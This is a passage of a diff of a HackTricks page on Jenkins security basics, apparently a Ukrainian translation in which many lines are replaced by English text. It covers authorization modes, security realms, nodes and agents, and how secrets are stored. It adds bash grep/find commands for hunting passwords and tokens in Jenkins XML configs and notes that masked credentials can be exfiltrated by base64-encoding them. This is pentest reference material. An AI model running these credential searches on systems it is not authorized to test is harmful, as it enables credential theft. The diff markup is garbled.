- **Legacy mode**: Як у Jenkins <1.164. Якщо у вас є роль **"admin"**, вам буде надано **повний контроль** над системою, а **в іншому випадку** (включно з **anonymous** користувачами) ви матимете доступ лише для **читання**.
|
||||
- **Logged-in users can do anything**: У цьому режимі кожен **увійшовший користувач отримує повний контроль** над Jenkins. Єдиним користувачем, який не матиме повного контролю, є **anonymous user**, який отримує лише **доступ для читання**.
|
||||
- **Matrix-based security**: Ви можете налаштувати **хто що може робити** у вигляді таблиці. Кожен **стовпець** представляє **дозвіл**. Кожен **рядок** **представляє** **користувача або групу/роль.** Це включає спеціального користувача '**anonymous**', який представляє **неавторизованих користувачів**, а також '**authenticated**', який представляє **усіх автентифікованих користувачів**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Стратегія авторизації на основі проекту:** Цей режим є **розширенням** до "**Матриці безпеки**", яке дозволяє додаткову матрицю ACL бути **визначеною для кожного проекту окремо.**
|
||||
- **Стратегія на основі ролей:** Дозволяє визначати авторизації за допомогою **стратегії на основі ролей**. Керуйте ролями в `/role-strategy`.
|
||||
- **Project-based Matrix Authorization Strategy:** Цей режим є **розширенням** до "**Matrix-based security**", що дозволяє визначати додаткові ACL-матриці **для кожного проєкту окремо.**
|
||||
- **Role-Based Strategy:** Дозволяє визначати авторизації за допомогою **role-based strategy**. Керуйте ролями в `/role-strategy`.
|
||||
|
||||
## **Область безпеки**
|
||||
## **Security Realm**
|
||||
|
||||
У `/configureSecurity` можна **налаштувати область безпеки.** За замовчуванням Jenkins включає підтримку кількох різних областей безпеки:
|
||||
У `/configureSecurity` можна **налаштувати security realm.** За замовчуванням Jenkins підтримує кілька різних Security Realms:
|
||||
|
||||
- **Делегувати контейнеру сервлетів**: Для **делегування аутентифікації контейнеру сервлетів, що працює на контролері Jenkins**, наприклад, [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Власна база даних користувачів Jenkins:** Використовуйте **вбудовану базу даних користувачів Jenkins** для аутентифікації замість делегування зовнішній системі. Це включено за замовчуванням.
|
||||
- **LDAP**: Делегувати всю аутентифікацію на налаштований LDAP сервер, включаючи як користувачів, так і групи.
|
||||
- **База даних користувачів/груп Unix**: **Делегує аутентифікацію на базу даних користувачів Unix** на контролері Jenkins. Цей режим також дозволить повторно використовувати групи Unix для авторизації.
|
||||
- **Delegate to servlet container**: Для делегування автентифікації сервлет-контейнеру, що запускає контролер Jenkins, наприклад [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Використовувати **вбудоване сховище користувацьких даних Jenkins** для автентифікації замість делегування зовнішній системі. Увімкнено за замовчуванням.
|
||||
- **LDAP**: Делегувати всю автентифікацію на налаштований LDAP-сервер, включаючи користувачів та групи.
|
||||
- **Unix user/group database**: **Делегує автентифікацію базі користувачів на рівні ОС Unix** на контролері Jenkins. Цей режим також дозволяє повторно використовувати Unix-групи для авторизації.
|
||||
|
||||
Плагіни можуть надавати додаткові області безпеки, які можуть бути корисними для інтеграції Jenkins в існуючі системи ідентифікації, такі як:
|
||||
Плагіни можуть надавати додаткові security realms, які можуть бути корисними для інтеграції Jenkins в існуючі системи ідентичності, наприклад:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Вузли, агенти та виконавці Jenkins
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
Визначення з [документації](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Вузли** - це **машини**, на яких працюють **агенти збірки**. Jenkins контролює кожен підключений вузол на наявність вільного місця на диску, вільного тимчасового місця, вільного обміну, часу/синхронізації годинника та часу відгуку. Вузол виводиться з експлуатації, якщо будь-яке з цих значень виходить за межі налаштованого порогу.
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
|
||||
**Агенти** **керують** **виконанням завдань** від імені контролера Jenkins, використовуючи **виконавців**. Агент може використовувати будь-яку операційну систему, яка підтримує Java. Інструменти, необхідні для збірок і тестів, встановлюються на вузлі, де працює агент; їх можна **встановити безпосередньо або в контейнері** (Docker або Kubernetes). Кожен **агент фактично є процесом зі своїм PID** на хост-машині.
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
|
||||
**Виконавець** - це **слот для виконання завдань**; фактично, це **потік в агенті**. **Кількість виконавців** на вузлі визначає кількість **паралельних завдань**, які можуть бути виконані на цьому вузлі одночасно. Іншими словами, це визначає **кількість паралельних Pipeline `стадій`**, які можуть виконуватися на цьому вузлі одночасно.
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
|
||||
## Секрети Jenkins
|
||||
## Jenkins Secrets
|
||||
|
||||
### Шифрування секретів і облікових даних
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
Визначення з [документації](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins використовує **AES для шифрування та захисту секретів**, облікових даних та їх відповідних ключів шифрування. Ці ключі шифрування зберігаються в `$JENKINS_HOME/secrets/` разом з майстер-ключем, що використовується для захисту цих ключів. Цю директорію слід налаштувати так, щоб лише користувач операційної системи, під яким працює контролер Jenkins, мав доступ на читання та запис до цієї директорії (тобто значення `chmod` повинно бути `0700` або використовувати відповідні атрибути файлів). **Майстер-ключ** (іноді називається "ключ шифрування" у криптографії) **зберігається \_незашифрованим\_** на файловій системі контролера Jenkins у **`$JENKINS_HOME/secrets/master.key`**, що не захищає від атакуючих з прямим доступом до цього файлу. Більшість користувачів і розробників використовуватимуть ці ключі шифрування непрямо через API [Secret](https://javadoc.jenkins.io/byShortName/Secret) для шифрування загальних секретних даних або через API облікових даних. Для криптоцікавих, Jenkins використовує AES в режимі шифрувального блоку з ланцюгуванням (CBC) з PKCS#5 заповненням і випадковими IV для шифрування екземплярів [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), які зберігаються в `$JENKINS_HOME/secrets/` з ім'ям файлу, що відповідає їх `CryptoConfidentialKey` id. Загальні id ключів включають:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
|
||||
- `hudson.util.Secret`: використовується для загальних секретів;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: використовується для деяких типів облікових даних;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: використовується механізмом [CSRF захисту](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); і
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
|
||||
### Доступ до облікових даних
|
||||
### Credentials Access
|
||||
|
||||
Облікові дані можуть бути **обмежені глобальними постачальниками** (`/credentials/`), до яких може отримати доступ будь-який налаштований проект, або можуть бути обмежені **конкретними проектами** (`/job/<project-name>/configure`) і, отже, доступні лише з конкретного проекту.
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
|
||||
Згідно з [**документацією**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Облікові дані, які знаходяться в межах, стають доступними для конвеєра без обмежень. Щоб **запобігти випадковому розкриттю в журналі збірки**, облікові дані **маскуються** від звичайного виводу, тому виклик `env` (Linux) або `set` (Windows), або програми, що друкують своє середовище або параметри, **не розкриють їх у журналі збірки** для користувачів, які інакше не мали б доступу до облікових даних.
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
|
||||
**Ось чому, щоб ексфільтрувати облікові дані, атакуючий повинен, наприклад, закодувати їх у base64.**
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
|
||||
### Secrets in plugin/job configs on disk
|
||||
|
||||
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
|
||||
```bash
|
||||
# Global plugin configs
|
||||
ls -l /var/lib/jenkins/*.xml
|
||||
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
|
||||
|
||||
# Per-job configs
|
||||
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
@@ -90,5 +101,6 @@ Jenkins можна налаштувати за допомогою плагіні
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user